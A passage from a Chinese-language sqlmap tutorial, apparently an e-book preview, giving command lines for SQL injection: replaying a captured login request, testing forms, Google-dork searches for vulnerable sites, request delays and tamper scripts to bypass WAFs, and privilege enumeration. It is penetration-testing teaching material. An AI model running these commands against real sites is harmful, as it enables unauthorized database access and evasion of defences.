会拦截到了我们的登录 POST 请求 5. 把这个 post 请求复制为 txt, 我这命名为 search-test.txt 然 后把它放至 sqlmap 目录下 6. 运行 sqlmap 并使用如下命令: ./sqlmap.py -r search-test.txt -p tfUPass 这 里 参 数 -r 是 让 sqlmap 加 载 我 们 的 post 请 求 rsearch-test.txt,而 -p 大家应该比较熟悉,指定注 入用的参数。 注入点:http://testasp.vulnweb.com/Login.asp 几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass (2) 自动的搜索 sqlmap -u http://testasp.vulnweb.com/Login.asp --forms (3) 指定参数搜索 sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=321&tfUPass=321" 六、SQLMAP 中 Google 搜索注入 inurl 后面的语言是由自己定的 注入过程中如果选 y是注入,如果不是选 n sqlmap -g inurl:php?id= 七、SQLMAP 中的请求延迟 参数 --delay --safe-freq python sqlmap.py --dbs -u "http://xxx.cn/index. php/Index/view/id/40.html" --delay 1 python sqlmap.py --dbs -u "http://xxx.cn/index. php/Index/view/id/40.html" --safe-freq 3 八、SQLMAP 绕过 WAF 防火墙 注入点 :http://192.168.159.1/news.php?id=1 sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py" space2morehash.py 中 可 以 替 换 space2hash.py 或 者 base64encode.py 或者 charencode.py 都是编码方式 space2hash.py base64encode.py charencode.py 九、SQLMAP 查看权限 sqlmap -u http://192.168.159.1/news.php?id=1 --privileges
The above is a preview of the first 20 pages. Register to read the complete e-book.
Recommended for You
Loading recommended books...
Failed to load, please try again later